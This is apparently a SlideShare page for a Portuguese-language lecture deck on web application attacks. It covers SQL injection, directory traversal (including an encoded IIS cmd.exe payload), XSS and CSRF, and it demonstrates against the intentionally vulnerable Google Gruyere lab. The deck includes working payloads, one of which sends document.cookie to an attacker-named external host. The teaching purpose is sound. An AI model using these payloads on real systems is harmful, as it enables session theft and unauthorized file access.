SlideShare una empresa de Scribd logo
1 de 24
Descargar para leer sin conexión
Ataques à Aplicações Web
      - Uma visão prática -

          Prof. Me. Carlos Nilton A. Corrêa
               http://www.carlosnilton.com.br/
                       carlos.nilton@gmail.com
                                   @cnacorrea
Objetivo
• Conhecer, descrever e realizar baseados na
  Web: roubo de sessões, XSS, XSRF, XSSI.

• Também são apresentados ataques na camada
  de aplicação: SQL Injection, directory
  traversal, injeção de comandos, overflows.
Vulnerabilidades da web




                   Fonte: Projeto OWASP
Information leakage?
• Consultas no Google!
  – Podem equivaler a um “nmap da web”


    dom:<domínio> ext:<extensão> <string>
SQL Injection
• Em sua forma mais básica, um ataque em que um
  formulário (ou outra forma de entrada) é preenchido
  com informações que interferem no fluxo de
  execução de consultas de um banco de dados

• Frequentemente aplicado em etapas de login.
  Também é comum que um desenvolvedor,
  equivocadamente, proteja apenas esta seção de um
  sistema web contra injeções – quando o correto é
  que se assegure todo o código.
Exemplo básico

• Isto:

SELECT * FROM Bugs
WHERE bug_id = $_GET['bugid'];

• Pode resultar nesta instrução!

SELECT * FROM Bugs
WHERE bug_id = 1234 OR TRUE;
Um caso pior!

UPDATE Accounts
SET password = SHA2('$password')
WHERE account_id = $account_id;

• Vira...

UPDATE Accounts
SET password = SHA2('xyzzy', admin='1')
WHERE account_id = 1234 OR TRUE
Um caso grave...




http://hmsec.tumblr.com/
Directory traversal
• Tipo de ataque que faz com que uma aplicação web
  acesse um arquivo não-desejado

• Ocorre quanto um programa do tipo (geralmente um
  CGI) não trata adequadamente seus parâmetros de
  entrada

• Se um dos parâmetros indica um nome de arquivo, é
  possível manipulá-lo para que aponte para arquivos
  arbitrários no sistema do servidor
Exemplo básico (PHP/Linux)
• Suponha um script que suporte isto:
• http://www.xxx.com/members/seepic.cgi?arq=001.j
  pg
<?
   ...
   /* le imagem a ser exibida */
   arqimg = fopen(“/amadoras/”.$_GET['arq'],
  “r”);
   imagem = fread($handle,
  filesize($arqimg));
   print $imagem;
   fclose($arqimg);
?>
Imagine agora este acesso...



http://www.xxx.com/members/seepic.cgi?arq=..
  /../../../../../../../../../etc/passwd
Directory traversal no Windows
• O caractere utilizado como separador de caminhos no
  Windows é “”, o que de algum modo particulariza os ataques
  a esta plataforma

• Não obstante, cada vez mais APIs Windows têm suportado o
  caractere “/” em diretórios

• Uma vez que sistemas Windows não contam com uma árvore
  de diretórios unificada, ataques do tipo ficam restritos à
  partição em que os arquivos sendo “servidos” estiverem
  localizados
Variantes do ataque (1)

   Para evitar detecção por sistemas sensíveis a
    parâmetros que possuam caracteres como “/”,
    alguns ataques usam caminhos codificados

   Uma possibilidade é utilizar parâmetros com
    codificação de URL:

seepic.cgi?arq=%2e%2e%2f... → (../)
seepic.cgi?arq=%2e%2e%5c... → (..)
Variantes do ataque (2)

   No passado, caracteres da plataforma Windows
    também podiam ser especificados por seu código
    Unicode

   Esta é uma codificação universal de 16 bits para
    representar símbolos em qualquer linguagem

http://address.of.iis5.system/scripts/..%c0%af../winnt/system32
  /cmd.exe?/c+dir+c:
                                                 (%c0%af == '/')
                                                (%c1%9c == '')
XSS – Cross Site Scripting


“Através de um XSS, o Cracker injeta
codigos JavaScript em um campo texto de uma
página já existente e este JavaScript é apresentado
para outros usuários.”
                                          -- Wikipédia
XSRF (ou CSRF)
• Técnica em que o atacante se vale de informações de
  sessão previamente existentes no browser de um
  usuário para forjar requisições ou disparar ações
  nocivas

• Pode ser utilizado como parte de um ataque de XSS
  (cross-site scripting)

• Geralmente envolve algum tipo de engenharia social
  ou alguma forma de acesso à vítima
Google Gruyere
• http://google-gruyere.appspot.com/

• Aplicação propositalmente desenvolvida com
  bugs

• Um “testbed” para experiências em segurança
Google Gruyere
Ataques orientados ao Gruyere
• Básicos
  – Cadastrar um item com nome:
    zezi<a href="lalala">nho</a>
  – Ou com o nome:
    <b>Isto é um teste.</b><a
    href="http://www.malvado.com/">link</a>
  – Ou ainda:
    <P class=dev>Point your mouse <A
    onmouseover="alert('This is an alert
    box!')" href="">here</A></P>
Ataques orientados ao Gruyere
• Internet Explorer 9 (Ago/2011)

  <a href="http://google-
  gruyere.appspot.com/751162075406/snippets.gtl?uid=
  <script>alert('SEGURA PEAO')</script>">Este é o
  super novo queijo</a>

  <a href="http://google-
  gruyere.appspot.com/751162075406/snippets.gtl?uid=
  <script>window.open('http://www.google.com.br/')</
  script>">Este é o super novo queijo</a>
Ataques orientados ao Gruyere
• Começando a ficar sem-graça...


 <a href="http://google-
 gruyere.appspot.com/751162075406/snippets.gtl?uid=
 <script>alert(document.cookie)</script>">Este é o
 super novo queijo</a>
Ataques orientados ao Gruyere
• Fazendo algo desagradável...

  <a href="http://google-
  gruyere.appspot.com/751162075406/snippets.
  gtl?uid=<script>window.open("http://www.pe
  godadosdoseubanco.com.br/salva.php?cook="
  + document.cookie)</script>">Este é o
  super novo queijo</a>

• Vejamos um exemplo de script para salvar
  dados...
Ataques orientados ao Gruyere
• Indo além do pedagógico!

 http://google-
 gruyere.appspot.com/751162075406/snippets.gtl?ui
 d=%3Ciframe%20src=%22http://www.google.com.br
 %22%20width=%22100%%22%20height=%22100%%
 22%3E%3Cp%3EEntrar%20em%20contato%20com%
 20o%20seu%20banco.%3C/p%3E%3C/iframe%3E
Obrigado!!

 Prof. Me. Carlos Nilton A. Corrêa
      http://www.carlosnilton.com.br/
              carlos.nilton@gmail.com
                          @cnacorrea

Más contenido relacionado

La actualidad más candente

Teste de segurança em aplicações web ( sites )
Teste de segurança em aplicações web ( sites )Teste de segurança em aplicações web ( sites )
Teste de segurança em aplicações web ( sites )Pablo Ribeiro
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
 
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBDica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBAlcyon Ferreira de Souza Junior, MSc
 
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o WmapDescobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o WmapClavis Segurança da Informação
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Clavis Segurança da Informação
 
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...Clavis Segurança da Informação
 
Segurança de Redes
Segurança de RedesSegurança de Redes
Segurança de RedesCassio Ramos
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Como se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareComo se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareAlcyon Ferreira de Souza Junior, MSc
 
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" "Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" Clavis Segurança da Informação
 
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ Clavis Segurança da Informação
 
OWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoOWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoLuciano Monteiro da Silva
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software SeguroAugusto Lüdtke
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 

La actualidad más candente (20)

Teste de segurança em aplicações web ( sites )
Teste de segurança em aplicações web ( sites )Teste de segurança em aplicações web ( sites )
Teste de segurança em aplicações web ( sites )
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBDica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
 
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o WmapDescobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
 
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
 
Segurança de Redes
Segurança de RedesSegurança de Redes
Segurança de Redes
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Defensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon JuniorDefensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon Junior
 
Como se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareComo se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de Software
 
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" "Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
 
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
 
OWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoOWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objeto
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
PHP Seguro em 2013
PHP Seguro em 2013PHP Seguro em 2013
PHP Seguro em 2013
 

Destacado

Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Gustavo Neves
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012Marcio Cunha
 
Ux na vida real deedz
Ux na vida real  deedzUx na vida real  deedz
Ux na vida real deedzDextra
 
ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
ESTUDO E ANÁLISE DE VULNERABILIDADES WEBESTUDO E ANÁLISE DE VULNERABILIDADES WEB
ESTUDO E ANÁLISE DE VULNERABILIDADES WEBWagner
 
Apostila PHP5 + MySQL + AJAX
Apostila PHP5 + MySQL + AJAXApostila PHP5 + MySQL + AJAX
Apostila PHP5 + MySQL + AJAXDaniel Brandão
 

Destacado (15)

Tunneling
TunnelingTunneling
Tunneling
 
Engenharia Social
Engenharia SocialEngenharia Social
Engenharia Social
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!
 
Anonimato na Web
Anonimato na Web Anonimato na Web
Anonimato na Web
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
 
Adicionando segurança web: AWS WAF
Adicionando segurança web: AWS WAFAdicionando segurança web: AWS WAF
Adicionando segurança web: AWS WAF
 
Topologia lab
Topologia labTopologia lab
Topologia lab
 
RFID - Parte 1
RFID - Parte 1RFID - Parte 1
RFID - Parte 1
 
RFID - Parte 2
RFID - Parte 2RFID - Parte 2
RFID - Parte 2
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Ux na vida real deedz
Ux na vida real  deedzUx na vida real  deedz
Ux na vida real deedz
 
ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
ESTUDO E ANÁLISE DE VULNERABILIDADES WEBESTUDO E ANÁLISE DE VULNERABILIDADES WEB
ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
 
Apostila PHP5 + MySQL + AJAX
Apostila PHP5 + MySQL + AJAXApostila PHP5 + MySQL + AJAX
Apostila PHP5 + MySQL + AJAX
 
Angular 2
Angular 2Angular 2
Angular 2
 
Aula Inaugural
Aula InauguralAula Inaugural
Aula Inaugural
 

Similar a Ataques à Aplicações Web: Visão Prática de SQL Injection e XSS

Teste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebTeste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebMarcio Roberto de Souza Godoi
 
Segurança & Ruby on Rails
Segurança & Ruby on RailsSegurança & Ruby on Rails
Segurança & Ruby on RailsJulio Monteiro
 
Apresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazApresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazOWASP Brasília
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Website security
Website securityWebsite security
Website securitythiagosenac
 
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Thiago Dieb
 
Introdução à Segurança da Informação
Introdução à Segurança da InformaçãoIntrodução à Segurança da Informação
Introdução à Segurança da InformaçãoVinicius Marangoni
 
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...As Zone
 
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Thiago Dieb
 

Similar a Ataques à Aplicações Web: Visão Prática de SQL Injection e XSS (20)

Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
 
Teste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebTeste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações Web
 
Segurança & Ruby on Rails
Segurança & Ruby on RailsSegurança & Ruby on Rails
Segurança & Ruby on Rails
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
2011 01-18.campus party 2011
2011 01-18.campus party 20112011 01-18.campus party 2011
2011 01-18.campus party 2011
 
Apresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazApresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio Braz
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)
 
Website security
Website securityWebsite security
Website security
 
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Web app flaws
Web app flawsWeb app flaws
Web app flaws
 
Introdução à Segurança da Informação
Introdução à Segurança da InformaçãoIntrodução à Segurança da Informação
Introdução à Segurança da Informação
 
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
 
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
 
Site invadido
Site invadidoSite invadido
Site invadido
 

Más de Cassio Ramos

Más de Cassio Ramos (19)

3 scanning-ger paoctes-pub
3  scanning-ger paoctes-pub3  scanning-ger paoctes-pub
3 scanning-ger paoctes-pub
 
2 netcat enum-pub
2 netcat enum-pub2 netcat enum-pub
2 netcat enum-pub
 
Redes de Banda Larga
Redes de Banda LargaRedes de Banda Larga
Redes de Banda Larga
 
Block disp-entrada e saida
Block disp-entrada e saidaBlock disp-entrada e saida
Block disp-entrada e saida
 
Trabalho sobre truecrypt
Trabalho sobre truecryptTrabalho sobre truecrypt
Trabalho sobre truecrypt
 
Gpo
GpoGpo
Gpo
 
Truecrypt
TruecryptTruecrypt
Truecrypt
 
Endian firewall
Endian firewallEndian firewall
Endian firewall
 
GnuPG
GnuPGGnuPG
GnuPG
 
Exemplo de Script Iptables
Exemplo de Script IptablesExemplo de Script Iptables
Exemplo de Script Iptables
 
Segurança Linux
Segurança LinuxSegurança Linux
Segurança Linux
 
Tutorial Maltego
Tutorial MaltegoTutorial Maltego
Tutorial Maltego
 
Curso hacking com BT5
Curso hacking com BT5Curso hacking com BT5
Curso hacking com BT5
 
Redes - Aula 2
Redes - Aula 2Redes - Aula 2
Redes - Aula 2
 
Redes - Aula 1
Redes - Aula 1Redes - Aula 1
Redes - Aula 1
 
Controle de Acesso
Controle de AcessoControle de Acesso
Controle de Acesso
 
Artigo anonymous
Artigo anonymousArtigo anonymous
Artigo anonymous
 
Analise de Vulnerabilidade
Analise de VulnerabilidadeAnalise de Vulnerabilidade
Analise de Vulnerabilidade
 
Controle de Acesso
Controle de AcessoControle de Acesso
Controle de Acesso
 

Ataques à Aplicações Web: Visão Prática de SQL Injection e XSS

  • 1. Ataques à Aplicações Web - Uma visão prática - Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ carlos.nilton@gmail.com @cnacorrea
  • 2. Objetivo • Conhecer, descrever e realizar baseados na Web: roubo de sessões, XSS, XSRF, XSSI. • Também são apresentados ataques na camada de aplicação: SQL Injection, directory traversal, injeção de comandos, overflows.
  • 3. Vulnerabilidades da web Fonte: Projeto OWASP
  • 4. Information leakage? • Consultas no Google! – Podem equivaler a um “nmap da web” dom:<domínio> ext:<extensão> <string>
  • 5. SQL Injection • Em sua forma mais básica, um ataque em que um formulário (ou outra forma de entrada) é preenchido com informações que interferem no fluxo de execução de consultas de um banco de dados • Frequentemente aplicado em etapas de login. Também é comum que um desenvolvedor, equivocadamente, proteja apenas esta seção de um sistema web contra injeções – quando o correto é que se assegure todo o código.
  • 6. Exemplo básico • Isto: SELECT * FROM Bugs WHERE bug_id = $_GET['bugid']; • Pode resultar nesta instrução! SELECT * FROM Bugs WHERE bug_id = 1234 OR TRUE;
  • 7. Um caso pior! UPDATE Accounts SET password = SHA2('$password') WHERE account_id = $account_id; • Vira... UPDATE Accounts SET password = SHA2('xyzzy', admin='1') WHERE account_id = 1234 OR TRUE
  • 9. Directory traversal • Tipo de ataque que faz com que uma aplicação web acesse um arquivo não-desejado • Ocorre quanto um programa do tipo (geralmente um CGI) não trata adequadamente seus parâmetros de entrada • Se um dos parâmetros indica um nome de arquivo, é possível manipulá-lo para que aponte para arquivos arbitrários no sistema do servidor
  • 10. Exemplo básico (PHP/Linux) • Suponha um script que suporte isto: • http://www.xxx.com/members/seepic.cgi?arq=001.j pg <? ... /* le imagem a ser exibida */ arqimg = fopen(“/amadoras/”.$_GET['arq'], “r”); imagem = fread($handle, filesize($arqimg)); print $imagem; fclose($arqimg); ?>
  • 11. Imagine agora este acesso... http://www.xxx.com/members/seepic.cgi?arq=.. /../../../../../../../../../etc/passwd
  • 12. Directory traversal no Windows • O caractere utilizado como separador de caminhos no Windows é “”, o que de algum modo particulariza os ataques a esta plataforma • Não obstante, cada vez mais APIs Windows têm suportado o caractere “/” em diretórios • Uma vez que sistemas Windows não contam com uma árvore de diretórios unificada, ataques do tipo ficam restritos à partição em que os arquivos sendo “servidos” estiverem localizados
  • 13. Variantes do ataque (1)  Para evitar detecção por sistemas sensíveis a parâmetros que possuam caracteres como “/”, alguns ataques usam caminhos codificados  Uma possibilidade é utilizar parâmetros com codificação de URL: seepic.cgi?arq=%2e%2e%2f... → (../) seepic.cgi?arq=%2e%2e%5c... → (..)
  • 14. Variantes do ataque (2)  No passado, caracteres da plataforma Windows também podiam ser especificados por seu código Unicode  Esta é uma codificação universal de 16 bits para representar símbolos em qualquer linguagem http://address.of.iis5.system/scripts/..%c0%af../winnt/system32 /cmd.exe?/c+dir+c: (%c0%af == '/') (%c1%9c == '')
  • 15. XSS – Cross Site Scripting “Através de um XSS, o Cracker injeta codigos JavaScript em um campo texto de uma página já existente e este JavaScript é apresentado para outros usuários.” -- Wikipédia
  • 16. XSRF (ou CSRF) • Técnica em que o atacante se vale de informações de sessão previamente existentes no browser de um usuário para forjar requisições ou disparar ações nocivas • Pode ser utilizado como parte de um ataque de XSS (cross-site scripting) • Geralmente envolve algum tipo de engenharia social ou alguma forma de acesso à vítima
  • 17. Google Gruyere • http://google-gruyere.appspot.com/ • Aplicação propositalmente desenvolvida com bugs • Um “testbed” para experiências em segurança
  • 19. Ataques orientados ao Gruyere • Básicos – Cadastrar um item com nome: zezi<a href="lalala">nho</a> – Ou com o nome: <b>Isto é um teste.</b><a href="http://www.malvado.com/">link</a> – Ou ainda: <P class=dev>Point your mouse <A onmouseover="alert('This is an alert box!')" href="">here</A></P>
  • 20. Ataques orientados ao Gruyere • Internet Explorer 9 (Ago/2011) <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>alert('SEGURA PEAO')</script>">Este é o super novo queijo</a> <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>window.open('http://www.google.com.br/')</ script>">Este é o super novo queijo</a>
  • 21. Ataques orientados ao Gruyere • Começando a ficar sem-graça... <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>alert(document.cookie)</script>">Este é o super novo queijo</a>
  • 22. Ataques orientados ao Gruyere • Fazendo algo desagradável... <a href="http://google- gruyere.appspot.com/751162075406/snippets. gtl?uid=<script>window.open("http://www.pe godadosdoseubanco.com.br/salva.php?cook=" + document.cookie)</script>">Este é o super novo queijo</a> • Vejamos um exemplo de script para salvar dados...
  • 23. Ataques orientados ao Gruyere • Indo além do pedagógico! http://google- gruyere.appspot.com/751162075406/snippets.gtl?ui d=%3Ciframe%20src=%22http://www.google.com.br %22%20width=%22100%%22%20height=%22100%% 22%3E%3Cp%3EEntrar%20em%20contato%20com% 20o%20seu%20banco.%3C/p%3E%3C/iframe%3E
  • 24. Obrigado!! Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ carlos.nilton@gmail.com @cnacorrea